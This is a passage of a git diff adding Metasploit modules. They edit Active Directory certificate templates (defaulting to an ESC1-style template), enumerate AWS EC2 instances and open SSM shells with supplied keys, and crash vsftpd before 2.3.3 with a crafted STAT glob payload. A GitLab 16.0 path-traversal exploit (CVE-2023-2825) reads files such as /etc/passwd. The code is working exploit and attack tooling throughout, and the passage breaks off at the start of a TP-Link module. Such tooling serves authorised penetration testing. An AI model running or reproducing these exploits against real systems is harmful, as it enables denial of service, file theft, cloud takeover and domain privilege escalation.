'Create the certificate template' }], + ['READ', { 'Description' => 'Read the certificate template' }], + ['UPDATE', { 'Description' => 'Modify the certificate template' }], + ['DELETE', { 'Description' => 'Delete the certificate template' }] + ], + 'DefaultAction' => 'READ', + 'Notes' => { + 'Stability' => [], + 'SideEffects' => [CONFIG_CHANGES], + 'Reliability' => [] + } + ) + ) + + register_options([ + OptString.new('BASE_DN', [false, 'LDAP base DN if you already have it']), + OptString.new('CERT_TEMPLATE', [ true, 'The remote certificate template name', 'User' ]), + OptPath.new('TEMPLATE_FILE', [ false, 'Local template definition file', File.join(::Msf::Config.data_directory, 'auxiliary', 'admin', 'ldap', 'ad_cs_cert_template', 'esc1_template.yaml') ]) + ]) + end + + def ldap_get(filter, attributes: [], base: nil, controls: []) + base ||= @base_dn + raw_obj = @ldap.search(base: base, filter: filter, attributes: attributes, controls: controls).first + validate_query_result!(@ldap.get_operation_result.table) + return nil unless raw_obj + + obj = {} + raw_obj.attribute_names.each do |attr| + obj[attr.to_s] = raw_obj[attr].map(&:to_s) + end + + obj + end + + def run + ldap_connect do |ldap| + validate_bind_success!(ldap) + + if (@base_dn = datastore['BASE_DN']) + print_status("User-specified base DN: #{@base_dn}") + else + print_status('Discovering base DN automatically') + + unless (@base_dn = discover_base_dn(ldap)) + fail_with(Failure::NotFound, "Couldn't discover base DN!") + end + end + @ldap = ldap + + send("action_#{action.name.downcase}") + print_good('The operation completed successfully!') + end + rescue Rex::ConnectionError => e + print_error("#{e.class}: #{e.message}") + rescue Net::LDAP::Error => e + print_error("#{e.class}: #{e.message}") + end + + def get_certificate_template + obj = ldap_get( + "(&(cn=#{datastore['CERT_TEMPLATE']})(objectClass=pkicertificatetemplate))", + base: "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,#{@base_dn}", + controls: [ms_security_descriptor_control(DACL_SECURITY_INFORMATION)] + ) + fail_with(Failure::NotFound, 'The specified template was not found.') unless obj + + print_good("Read certificate template data for: #{obj['dn'].first}") + stored = store_loot( + 'windows.ad.cs.template', + 'application/json', + rhost, + dump_to_json(obj), + "#{datastore['CERT_TEMPLATE'].downcase.gsub(' ', '_')}_template.json", + "#{datastore['CERT_TEMPLATE']} Certificate Template" + ) + print_status("Certificate template data written to: #{stored}") + obj + end + + def get_domain_sid + return @domain_sid if @domain_sid.present? + + obj = ldap_get('(objectClass=domain)', attributes: %w[name objectSID]) + fail_with(Failure::NotFound, 'The domain SID was not found!') unless obj&.fetch('objectsid', nil) + + Rex::Proto::MsDtyp::MsDtypSid.read(obj['objectsid'].first) + end + + def dump_to_json(template) + json = {} + + template.each do |attribute, values| + next if IGNORED_ATTRIBUTES.any? { |word| word.casecmp?(attribute) } + + json[attribute] = values.map do |value| + value.each_byte.map { |b| b.to_s(16).rjust(2, '0') }.join + end + end + + json.to_json + end + + def load_from_json(json) + template = {} + + JSON.parse(json).each do |attribute, values| + next if IGNORED_ATTRIBUTES.any? { |word| word.casecmp?(attribute) } + + template[attribute] = values.map do |value| + value.scan(/../).map { |x| x.hex.chr }.join + end + end + + template + end + + def load_from_yaml(yaml) + template = {} + + YAML.safe_load(yaml).each do |attribute, value| + next if IGNORED_ATTRIBUTES.any? { |word| word.casecmp?(attribute) } + + if attribute.casecmp?('nTSecurityDescriptor') + unless value.is_a?(String) + fail_with(Failure::BadConfig, 'The local template file specified an invalid nTSecurityDescriptor.') + end + + # if the string only contains printable characters, treat it as SDDL + if value !~ /[^[:print:]]/ + begin + vprint_status("Parsing SDDL text: #{value}") + descriptor = Rex::Proto::MsDtyp::MsDtypSecurityDescriptor.from_sddl_text(value, domain_sid: get_domain_sid) + rescue RuntimeError => e + fail_with(Failure::BadConfig, e.message) + end + + value = descriptor.to_binary_s + elsif !value.start_with?("\x01".b) + fail_with(Failure::BadConfig, 'The local template file specified an invalid nTSecurityDescriptor.') + end + end + + value = [ value ] unless value.is_a?(Array) + template[attribute] = value.map(&:to_s) + end + + template + end + + def load_local_template + if datastore['TEMPLATE_FILE'].blank? + fail_with(Failure::BadConfig, 'No local template file was specified in TEMPLATE_FILE.') + end + + unless File.readable?(datastore['TEMPLATE_FILE']) && File.file?(datastore['TEMPLATE_FILE']) + fail_with(Failure::BadConfig, 'TEMPLATE_FILE must be a readable file.') + end + + file_data = File.read(datastore['TEMPLATE_FILE']) + if datastore['TEMPLATE_FILE'].downcase.end_with?('.json') + load_from_json(file_data) + elsif datastore['TEMPLATE_FILE'].downcase.end_with?('.yaml') || datastore['TEMPLATE_FILE'].downcase.end_with?('.yml') + load_from_yaml(file_data) + else + fail_with(Failure::BadConfig, 'TEMPLATE_FILE must be a JSON or YAML file.') + end + end + + def ms_security_descriptor_control(flags) + control_values = [flags].map(&:to_ber).to_ber_sequence.to_s.to_ber + [LDAP_SERVER_SD_FLAGS_OID.to_ber, control_values].to_ber_sequence + end + + def action_create + dn = "CN=#{datastore['CERT_TEMPLATE']}," + dn << 'CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,' + dn << @base_dn + + # defaults to create one from the builtin SubCA template + # the nTSecurityDescriptor and objectGUID fields will be set automatically so they can be omitted + attributes = { + 'objectclass' => ['top', 'pKICertificateTemplate'], + 'cn' => datastore['CERT_TEMPLATE'], + 'instancetype' => '4', + 'displayname' => datastore['CERT_TEMPLATE'], + 'usncreated' => '16437', + 'usnchanged' => '16437', + 'showinadvancedviewonly' => 'TRUE', + 'name' => datastore['CERT_TEMPLATE'], + 'flags' => '66257', + 'revision' => '5', + 'objectcategory' => "CN=PKI-Certificate-Template,CN=Schema,CN=Configuration,#{@base_dn}", + 'pkidefaultkeyspec' => '2', + 'pkikeyusage' => "\x86\x00".b, + 'pkimaxissuingdepth' => '-1', + 'pkicriticalextensions' => ['2.5.29.15', '2.5.29.19'], + 'pkiexpirationperiod' => "\x00@\x1E\xA4\xE8e\xFA\xFF".b, + 'pkioverlapperiod' => "\x00\x80\xA6\n\xFF\xDE\xFF\xFF".b, + 'pkidefaultcsps' => '1,Microsoft Enhanced Cryptographic Provider v1.0', + 'dscorepropagationdata' => '16010101000000.0Z', + 'mspki-ra-signature' => '0', + 'mspki-enrollment-flag' => '0', + 'mspki-private-key-flag' => '16', + 'mspki-certificate-name-flag' => '1', + 'mspki-minimal-key-size' => '2048', + 'mspki-template-schema-version' => '1', + 'mspki-template-minor-revision' => '1', + 'mspki-cert-template-oid' => '1.3.6.1.4.1.311.21.8.9238385.12403672.2312086.11590436.9092015.147.1.18' + } + + unless datastore['TEMPLATE_FILE'].blank? + load_local_template.each do |key, value| + key = key.downcase + next if %w[dn distinguishedname objectguid].include?(key) + + attributes[key.downcase] = value + end + end + + # can not contain dn, distinguishedname, or objectguid + print_status("Creating: #{dn}") + @ldap.add(dn: dn, attributes: attributes) + validate_query_result!(@ldap.get_operation_result.table) + end + + def action_delete + obj = get_certificate_template + + @ldap.delete(dn: obj['dn'].first) + validate_query_result!(@ldap.get_operation_result.table) + end + + def action_read + obj = get_certificate_template + + print_status('Certificate Template:') + print_status(" distinguishedName: #{obj['distinguishedname'].first}") + print_status(" displayName: #{obj['displayname'].first}") if obj['displayname'].first.present? + if obj['objectguid'].first.present? + object_guid = Rex::Proto::MsDtyp::MsDtypGuid.read(obj['objectguid'].first) + print_status(" objectGUID: #{object_guid}") + end + + mspki_flag = obj['mspki-certificate-name-flag'].first + if mspki_flag.present? + mspki_flag = [obj['mspki-certificate-name-flag'].first.to_i].pack('l').unpack1('L') + print_status(" msPKI-Certificate-Name-Flag: 0x#{mspki_flag.to_s(16).rjust(8, '0')}") + %w[ + CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT + CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT_ALT_NAME + CT_FLAG_SUBJECT_ALT_REQUIRE_DOMAIN_DNS + CT_FLAG_SUBJECT_ALT_REQUIRE_SPN + CT_FLAG_SUBJECT_ALT_REQUIRE_DIRECTORY_GUID + CT_FLAG_SUBJECT_ALT_REQUIRE_UPN + CT_FLAG_SUBJECT_ALT_REQUIRE_EMAIL + CT_FLAG_SUBJECT_ALT_REQUIRE_DNS + CT_FLAG_SUBJECT_REQUIRE_DNS_AS_CN + CT_FLAG_SUBJECT_REQUIRE_EMAIL + CT_FLAG_SUBJECT_REQUIRE_COMMON_NAME + CT_FLAG_SUBJECT_REQUIRE_DIRECTORY_PATH + CT_FLAG_OLD_CERT_SUPPLIES_SUBJECT_AND_ALT_NAME + ].each do |flag_name| + if mspki_flag & Rex::Proto::MsCrtd.const_get(flag_name) != 0 + print_status(" * #{flag_name}") + end + end + end + + mspki_flag = obj['mspki-enrollment-flag'].first + if mspki_flag.present? + mspki_flag = [obj['mspki-enrollment-flag'].first.to_i].pack('l').unpack1('L') + print_status(" msPKI-Enrollment-Flag: 0x#{mspki_flag.to_s(16).rjust(8, '0')}") + %w[ + CT_FLAG_INCLUDE_SYMMETRIC_ALGORITHMS + CT_FLAG_PEND_ALL_REQUESTS + CT_FLAG_PUBLISH_TO_KRA_CONTAINER + CT_FLAG_PUBLISH_TO_DS + CT_FLAG_AUTO_ENROLLMENT_CHECK_USER_DS_CERTIFICATE + CT_FLAG_AUTO_ENROLLMENT + CT_FLAG_PREVIOUS_APPROVAL_VALIDATE_REENROLLMENT + CT_FLAG_USER_INTERACTION_REQUIRED + CT_FLAG_REMOVE_INVALID_CERTIFICATE_FROM_PERSONAL_STORE + CT_FLAG_ALLOW_ENROLL_ON_BEHALF_OF + CT_FLAG_ADD_OCSP_NOCHECK + CT_FLAG_ENABLE_KEY_REUSE_ON_NT_TOKEN_KEYSET_STORAGE_FULL + CT_FLAG_NOREVOCATIONINFOINISSUEDCERTS + CT_FLAG_INCLUDE_BASIC_CONSTRAINTS_FOR_EE_CERTS + CT_FLAG_ALLOW_PREVIOUS_APPROVAL_KEYBASEDRENEWAL_VALIDATE_REENROLLMENT + CT_FLAG_ISSUANCE_POLICIES_FROM_REQUEST + CT_FLAG_SKIP_AUTO_RENEWAL + ].each do |flag_name| + if mspki_flag & Rex::Proto::MsCrtd.const_get(flag_name) != 0 + print_status(" * #{flag_name}") + end + end + end + + mspki_flag = obj['mspki-private-key-flag'].first + if mspki_flag.present? + mspki_flag = [obj['mspki-private-key-flag'].first.to_i].pack('l').unpack1('L') + print_status(" msPKI-Private-Key-Flag: 0x#{mspki_flag.to_s(16).rjust(8, '0')}") + %w[ + CT_FLAG_REQUIRE_PRIVATE_KEY_ARCHIVAL + CT_FLAG_EXPORTABLE_KEY + CT_FLAG_STRONG_KEY_PROTECTION_REQUIRED + CT_FLAG_REQUIRE_ALTERNATE_SIGNATURE_ALGORITHM + CT_FLAG_REQUIRE_SAME_KEY_RENEWAL + CT_FLAG_USE_LEGACY_PROVIDER + CT_FLAG_ATTEST_NONE + CT_FLAG_ATTEST_REQUIRED + CT_FLAG_ATTEST_PREFERRED + CT_FLAG_ATTESTATION_WITHOUT_POLICY + CT_FLAG_EK_TRUST_ON_USE + CT_FLAG_EK_VALIDATE_CERT + CT_FLAG_EK_VALIDATE_KEY + CT_FLAG_HELLO_LOGON_KEY + ].each do |flag_name| + if mspki_flag & Rex::Proto::MsCrtd.const_get(flag_name) != 0 + print_status(" * #{flag_name}") + end + end + end + + mspki_flag = obj['mspki-ra-signature'].first + if mspki_flag.present? + mspki_flag = [obj['mspki-ra-signature'].first.to_i].pack('l').unpack1('L') + print_status(" msPKI-RA-Signature: 0x#{mspki_flag.to_s(16).rjust(8, '0')}") + end + + if obj['pkiextendedkeyusage'].present? + print_status(' pKIExtendedKeyUsage:') + obj['pkiextendedkeyusage'].each do |value| + print_status(" * #{value}") + end + end + end + + def action_update + obj = get_certificate_template + new_configuration = load_local_template + + operations = [] + obj.each do |attribute, value| + next if IGNORED_ATTRIBUTES.any? { |word| word.casecmp?(attribute) } + + if new_configuration.keys.any? { |word| word.casecmp?(attribute) } + new_value = new_configuration.find { |k, _| k.casecmp?(attribute) }.last + unless value.tally == new_value.tally + operations << [:replace, attribute, new_value] + end + else + operations << [:delete, attribute, nil] + end + end + + new_configuration.each_key do |attribute| + next if IGNORED_ATTRIBUTES.any? { |word| word.casecmp?(attribute) } + next if obj.keys.any? { |i| i.casecmp?(attribute) } + + operations << [:add, attribute, new_configuration[attribute]] + end + + if operations.empty? + print_good('There are no changes to be made.') + return + end + + @ldap.modify(dn: obj['dn'].first, operations: operations, controls: [ms_security_descriptor_control(DACL_SECURITY_INFORMATION)]) + validate_query_result!(@ldap.get_operation_result.table) + end +end diff --git a/modules/auxiliary/cloud/aws/enum_ssm.rb b/modules/auxiliary/cloud/aws/enum_ssm.rb new file mode 100644 index 0000000000000..8a899c54c8dda --- /dev/null +++ b/modules/auxiliary/cloud/aws/enum_ssm.rb @@ -0,0 +1,157 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'aws-sdk-ssm' +require 'aws-sdk-ec2' + +class MetasploitModule < Msf::Auxiliary + include Rex::Proto::Http::WebSocket::AmazonSsm + include Msf::Auxiliary::Report + include Msf::Auxiliary::CommandShell + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Amazon Web Services EC2 instance enumeration', + 'Description' => %q{ + Provided AWS credentials, this module will call the authenticated + API of Amazon Web Services to list all SSM-enabled EC2 instances + accessible to the account. Once enumerated as SSM-enabled, the + instances can be controlled using out-of-band WebSocket sessions + provided by the AWS API (nominally, privileged out of the box). + This module provides not only the API enumeration identifying EC2 + instances accessible via SSM with given credentials, but enables + session initiation for all identified targets (without requiring + target-level credentials) using the CreateSession mixin option. + The module also provides an EC2 ID filter and a limiting throttle + to prevent session stampedes or expensive messes. + }, + 'Author' => [ + 'RageLtMan ' + ], + 'License' => MSF_LICENSE, + 'DefaultOptions' => { 'CreateSession' => false }, + 'Notes' => { + 'SideEffects' => [IOC_IN_LOGS], + 'Reliability' => [], + 'Stability' => [CRASH_SAFE] + } + ) + ) + + register_options( + [ + OptInt.new('LIMIT', [false, 'Only return the specified number of results from each region']), + OptString.new('FILTER_EC2_ID', [false, 'Look for specific EC2 instance ID']), + OptString.new('REGION', [true, 'AWS Region (e.g. "us-west-2")']), + OptString.new('ACCESS_KEY_ID', [true, 'AWS Access Key ID (eg. "AKIAXXXXXXXXXXXXXXXX")', '']), + OptString.new('SECRET_ACCESS_KEY', [true, 'AWS Secret Access Key (eg. "CA1+XXXXXXXXXXXXXXXXXXXXXX6aYDHHCBuLuV79")', '']) + ] + ) + end + + def handle_aws_errors(error) + if error.class.module_parents.include?(Aws) + fail_with(Failure::UnexpectedReply, error.message) + else + raise error + end + end + + def run + credentials = ::Aws::Credentials.new(datastore['ACCESS_KEY_ID'], datastore['SECRET_ACCESS_KEY']) + vprint_status "Checking #{datastore['REGION']}..." + client = ::Aws::SSM::Client.new( + region: datastore['REGION'], + credentials: credentials + ) + inv_params = { + filters: [ + { + key: 'AWS:InstanceInformation.InstanceStatus', + values: ['Terminated'], + type: 'NotEqual' + }, + { + key: 'AWS:InstanceInformation.ResourceType', + values: ['EC2Instance'], + type: 'Equal' + } + ] + } + + if datastore['FILTER_EC2_ID'] + inv_params[:filters] << { + key: 'AWS:InstanceInformation.InstanceId', + values: [datastore['FILTER_EC2_ID']], + type: 'Equal' + } + end + + inv_params[:max_results] = datastore['LIMIT'] if datastore['LIMIT'] + + ssm_ec2 = client.get_inventory(inv_params).entities.map { |e| e.data['AWS:InstanceInformation'].content }.flatten + ssm_ec2.each do |ssm_host| + report_host( + host: ssm_host['IpAddress'], + os_flavor: ssm_host['PlatformName'], + os_name: ssm_host['PlatformType'], + os_sp: ssm_host['PlatformVersion'], + name: ssm_host['ComputerName'], + comments: "ec2-id: #{ssm_host['InstanceId']}" + ) + report_note( + host: ssm_host['IpAddress'], + type: ssm_host['AgentType'], + data: ssm_host['AgentVersion'] + ) + vprint_good("Found AWS SSM host #{ssm_host['InstanceId']} (#{ssm_host['ComputerName']}) - #{ssm_host['IpAddress']}") + next unless datastore['CreateSession'] + + socket = get_ssm_socket(client, ssm_host['InstanceId']) + sess = Msf::Sessions::AwsSsmCommandShellBind.new(socket.lsock, { datastore: datastore, aws_ssm_host_info: ssm_host }) + + start_session(self, sess.info, datastore, false, socket.lsock, sess) + end + rescue Seahorse::Client::NetworkingError => e + print_error e.message + print_error "Confirm access to #{datastore['REGION']} with provided credentials" + rescue StandardError => e + handle_aws_errors(e) + end + + def get_ssm_socket(client, ec2_id) + # Verify the connection params and availability of instance + inv_params = { + filters: [ + { + key: 'AWS:InstanceInformation.InstanceId', + values: [ec2_id], + type: 'Equal' + } + ] + } + inventory = client.get_inventory(inv_params) + # Extract peer info + if inventory.entities[0] && (inventory.entities[0].id == ec2_id) + peer_info = inventory.entities[0].data['AWS:InstanceInformation'].content[0] + else + raise 'SSM target not found' + end + session_init = client.start_session({ + target: ec2_id, + document_name: 'SSM-SessionManagerRunShell' + }) + ssm_sock = connect_ssm_ws(session_init) + chan = ssm_sock.to_ssm_channel + chan.params.comm = Rex::Socket::Comm::Local unless chan.params.comm + chan.params.peerhost = peer_info['IpAddress'] + chan.params.peerport = 0 + chan.params.peerhostname = peer_info['ComputerName'] + chan._start_ssm_keepalive + chan.update_term_size + return chan + end +end diff --git a/modules/auxiliary/dos/ftp/vsftpd_232.rb b/modules/auxiliary/dos/ftp/vsftpd_232.rb new file mode 100644 index 0000000000000..beb55532b66a4 --- /dev/null +++ b/modules/auxiliary/dos/ftp/vsftpd_232.rb @@ -0,0 +1,109 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Auxiliary + include Msf::Exploit::Remote::Ftp + include Msf::Auxiliary::Dos + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'VSFTPD 2.3.2 Denial of Service', + 'Description' => %q{ + This module triggers a Denial of Service condition in the VSFTPD server in + versions before 2.3.3. So far, it has been tested on 2.3.0, 2.3.1, and 2.3.2. + }, + 'Author' => [ + 'Nick Cottrell (Rad10Logic) ', # Module Creator + 'Anna Graterol ', # Vuln researcher + 'Mana Mostaani ', + 'Maksymilian Arciemowicz' # Original EDB PoC + ], + 'License' => MSF_LICENSE, + 'References' => [ + [ 'BID', '46617' ], + [ 'CVE', '2011-0762' ], + [ 'EDB', '16270' ] + ], + 'DisclosureDate' => '2011-02-03', + 'Notes' => { + 'Stability' => [CRASH_SERVICE_DOWN], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [] + } + ) + ) + end + + def check + # attempt to connect + begin + if !connect_login + print_error('Connection refused.') + return Exploit::CheckCode::Unknown + end + rescue Rex::ConnectionRefused + print_error('Connection refused.') + return Exploit::CheckCode::Unknown + rescue Rex::ConnectionTimeout + print_error('Connection timed out') + return Exploit::CheckCode::Unknown + end + s = '' + loop do + # get each line until our desired line shows or end line shows + s = send_cmd(['STAT'], true) + break if (s =~ /vsFTPd \d+\.\d+\.\d+/) || (s == "211 End of status\r\n") + end + disconnect + # check if version was found + if s !~ /vsFTPd \d+\.\d+\.\d+/ + print_error('Did not find ftp version in FTP session.') + return Exploit::CheckCode::Unknown + end + + # pull out version and check if its in range of vulnerability + version = s[/\d+\.\d+\.\d+/] + if Rex::Version.new(version) < Rex::Version.new('2.3.3') + Exploit::CheckCode::Appears + else + Exploit::CheckCode::Safe + end + end + + def run + fail_with(Failure::NotVulnerable, 'Target is not vulnerable.') if check != Exploit::CheckCode::Appears + + payload = 'STAT ' + '{{*},' * 487 + '{.}' + '}' * 487 + + vprint_status("Payload being sent: #{payload}") + print_status('sending payload') + + loop do + print('.') + connect_login + 10.times do + send_cmd([payload.to_s], false) + end + send_cmd([payload.to_s], true) + disconnect + rescue Rex::ConnectionTimeout + print("\n") + print_error('Connection timeout! Sending again') + rescue Errno::ECONNRESET + print("\n") + print_error('Connection reset!') + rescue Rex::ConnectionRefused + print("\n") + print_good('Connection refused! Appears DOS attack succeeded.') + rescue EOFError + print("\n") + print_good('Stream was cut off abruptly. Appears DOS attack succeeded.') + break + end + disconnect + end +end diff --git a/modules/auxiliary/gather/gitlab_authenticated_subgroups_file_read.rb b/modules/auxiliary/gather/gitlab_authenticated_subgroups_file_read.rb new file mode 100644 index 0000000000000..c6fa551d5c581 --- /dev/null +++ b/modules/auxiliary/gather/gitlab_authenticated_subgroups_file_read.rb @@ -0,0 +1,261 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Auxiliary + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::HTTP::Gitlab + include Msf::Auxiliary::Report + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'GitLab Authenticated File Read', + 'Description' => %q{ + GitLab version 16.0 contains a directory traversal for arbitrary file read + as the `gitlab-www` user. This module requires authentication for exploitation. + In order to use this module, a user must be able to create a project and groups. + When exploiting this vulnerability, there is a direct correlation between the traversal + depth, and the depth of groups the vulnerable project is in. The minimum for this seems + to be 5, but up to 11 have also been observed. An example of this, is if the directory + traversal needs a depth of 11, a group + and 10 nested child groups, each a sub of the previous, will be created (adding up to 11). + Visually this looks like: + Group1->sub1->sub2->sub3->sub4->sub5->sub6->sub7->sub8->sub9->sub10. + If the depth was 5, a group and 4 nested child groups would be created. + With all these requirements satisfied a dummy file is uploaded, and the full + traversal is then executed. Cleanup is performed by deleting the first group which + cascades to deleting all other objects created. + }, + 'Author' => [ + 'h00die', # MSF module + 'pwnie', # Discovery on HackerOne + 'Vitellozzo' # PoC on Github + ], + 'References' => [ + ['URL', 'https://about.gitlab.com/releases/2023/05/23/critical-security-release-gitlab-16-0-1-released/'], + ['URL', 'https://github.com/Occamsec/CVE-2023-2825'], + ['URL', 'https://labs.watchtowr.com/gitlab-arbitrary-file-read-gitlab-cve-2023-2825-analysis/'], + ['CVE', '2023-2825'] + ], + 'DisclosureDate' => '2023-05-23', + 'License' => MSF_LICENSE, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [], + 'SideEffects' => [IOC_IN_LOGS] + } + ) + ) + + register_options( + [ + OptString.new('USERNAME', [true, 'The username to authenticate as', nil]), + OptString.new('PASSWORD', [true, 'The password for the specified username', nil]), + OptInt.new('DEPTH', [ true, 'Depth for Path Traversal (also groups creation)', 11]), + OptString.new('FILE', [true, 'File to read', '/etc/passwd']) + ] + ) + deregister_options('GIT_URI') + end + + def get_csrf(body) + if body.empty? + fail_with(Failure::UnexpectedReply, "HTML response had an empty body, couldn't find CSRF, unable to continue") + end + + body =~ /"csrf-token" content="([^"]+)"/ + + if ::Regexp.last_match(1).nil? + fail_with(Failure::UnexpectedReply, 'CSRF token not found in response, unable to continue') + end + ::Regexp.last_match(1) + end + + def check + # check method almost entirely borrowed from gitlab_github_import_rce_cve_2022_2992 + @cookie = gitlab_sign_in(datastore['USERNAME'], datastore['PASSWORD']) + + raise Msf::Exploit::Remote::HTTP::Gitlab::Error::AuthenticationError if @cookie.nil? + + vprint_status('Trying to get the GitLab version') + + version = Rex::Version.new(gitlab_version) + + if version != Rex::Version.new('16.0.0') + return CheckCode::Safe("Detected GitLab version #{version} which is not vulnerable") + end + + report_vuln( + host: rhost, + name: name, + refs: references, + info: [version] + ) + + return Exploit::CheckCode::Appears("Detected GitLab version #{version} which is vulnerable.") + rescue Msf::Exploit::Remote::HTTP::Gitlab::Error::AuthenticationError + return Exploit::CheckCode::Detected('Could not detect the version because authentication failed.') + rescue Msf::Exploit::Remote::HTTP::Gitlab::Error::ClientError => e + return Exploit::CheckCode::Unknown("#{e.class} - #{e.message}") + end + + def run + if datastore['DEPTH'] < 5 + print_bad('A DEPTH of < 5 is unlikely to succeed as almost all observed installs require 5-11 depth.') + end + + begin + @cookie = gitlab_sign_in(datastore['USERNAME'], datastore['PASSWORD']) if @cookie.nil? + rescue Msf::Exploit::Remote::HTTP::Gitlab::Error::AuthenticationError + fail_with(Failure::NoAccess, 'Unable to authenticate, check credentials') + end + + fail_with(Failure::NoAccess, 'Unable to retrieve cookie') if @cookie.nil? + + # get our csrf token + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path) + }) + fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? + fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response code (#{res.code})") unless res.code == 200 + csrf_token = get_csrf(res.body) + vprint_good("CSRF Token: #{csrf_token}") + + # create nested groups to the appropriate depth + print_status("Creating #{datastore['DEPTH']} groups") + parent_id = '' + first_group = '' + (1..datastore['DEPTH']).each do |_| + name = Rex::Text.rand_text_alphanumeric(8, 10) + if first_group.empty? + first_group = name + vprint_status("Creating group: #{name}") + else + vprint_status("Creating child group: #{name} with parent id: #{parent_id}") + end + # a success will give a 302 and direct us to / + res = send_request_cgi!({ + 'uri' => normalize_uri(target_uri.path, 'groups'), + 'method' => 'POST', + 'vars_post' => { + 'group[parent_id]' => parent_id, + 'group[name]' => name, + 'group[path]' => name, + 'group[visibility_level]' => 20, + 'user[role]' => 'software_developer', + 'group[jobs_to_be_done]' => '', + 'authenticity_token' => csrf_token + } + }) + fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? + fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response code (#{res.code})") unless res.code == 200 + csrf_token = get_csrf(res.body) + vprint_good("CSRF Token: #{csrf_token}") + + # grab our parent group ID for nesting + res.body =~ /data-clipboard-text="([^"]+)" type="button" title="Copy group ID"/ + parent_id = ::Regexp.last_match(1) + fail_with(Failure::UnexpectedReply, "#{peer} - Cannot retrieve the parent ID from the HTML response") unless parent_id + end + + # create a new project + + project_name = Rex::Text.rand_text_alphanumeric(8, 10) + print_status("Creating project #{project_name}") + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'projects'), + 'method' => 'POST', + 'vars_post' => { + 'project[ci_cd_only]' => 'false', + 'project[name]' => project_name, + 'project[selected_namespace_id]' => parent_id, + 'project[namespace_id]' => parent_id, + 'project[path]' => project_name, + 'project[visibility_level]' => 20, + 'project[initialize_with_readme]' => 1, # The POC is missing a ] here, fingerprintable? + 'authenticity_token' => csrf_token + } + }) + fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? + fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response code (#{res.code})") unless res.code == 302 + + project_id = URI(res.headers['Location']).path + + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, project_id) + }) + csrf_token = get_csrf(res.body) + + # upload a dummy file + print_status('Creating a dummy file in project') + file_name = Rex::Text.rand_text_alphanumeric(8, 10) + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, project_id, 'uploads'), + 'method' => 'POST', + 'headers' => { + 'X-CSRF-Token' => csrf_token, + 'Accept' => '*/*' # required or you get a 404 + }, + 'vars_form_data' => [ + { + 'name' => 'file', + 'filename' => file_name, + 'data' => Rex::Text.rand_text_alphanumeric(4, 25) + } + ] + }) + fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? + fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response code (#{res.code})") unless res.code == 200 + res = res.get_json_document + file_url = res.dig('link', 'url') + if file_url.nil? + fail_with(Failure::UnexpectedReply, "#{peer} - Unable to determine file upload URL, possible permissions issue") + end + # remove our file name + file_url = file_url.gsub("/#{file_name}", '') + + # finally, read our file + print_status('Executing dir traversal') + target_file = datastore['FILE'] + target_file = target_file.gsub('/', '%2F') + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, project_id, file_url, '..%2F' * datastore['DEPTH'] + "..#{target_file}"), + 'headers' => { + 'Accept' => '*/*' # required or you get a 404 + } + }) + fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? + if res.code == 500 + print_error("Unable to read file (permissions, or file doesn't exist)") + elsif res.code != 200 + print_error("#{peer} - Unexpected response code (#{res.code})") # don't fail_with so we can cleanup + end + + if res.body.empty? + print_error('Response has 0 size.') + elsif res.code == 200 + print_good(res.body) + loot_path = store_loot('GitLab file', 'text/plain', datastore['RHOST'], res.body, datastore['FILE']) + print_good("#{datastore['FILE']} saved to #{loot_path}") + else + print_error('Bad response, initiating cleanup') + end + + # deleting the first group will delete the sub-groups and project + print_status("Deleting group #{first_group}") + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, first_group), + 'method' => 'POST', + 'vars_post' => { + 'authenticity_token' => csrf_token, + '_method' => 'delete' + } + }) + fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? + fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response code (#{res.code})") unless res.code == 302 + end +end diff --git a/modules/auxiliary/gather/ibm_sametime_enumerate_users.rb b/modules/auxiliary/gather/ibm_sametime_enumerate_users.rb index 1f98588329dbf..892df11ab642b 100644 --- a/modules/auxiliary/gather/ibm_sametime_enumerate_users.rb +++ b/modules/auxiliary/gather/ibm_sametime_enumerate_users.rb @@ -132,7 +132,7 @@ def run # valid JSON response - valid response for check print_good("Response received, continuing to enumeration phase") end - rescue JSON::ParserError, + rescue JSON::ParserError print_error("Error parsing JSON: Invalid response from server") return end diff --git a/modules/auxiliary/gather/tplink_archer_c7_traversal.rb b/modules/auxiliary/gather/tplink_archer_c7_traversal.rb new file mode 100644 index 0000000000000..b43f88a4d3db1 --- /dev/null +++ b/modules/auxiliary/gather/tplink_archer_c7_traversal.rb @@ -0,0 +1,89 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Auxiliary + include Msf::Exploit::Deprecated + moved_from 'auxiliary/scanner/http/archer_c7_traversal' + + 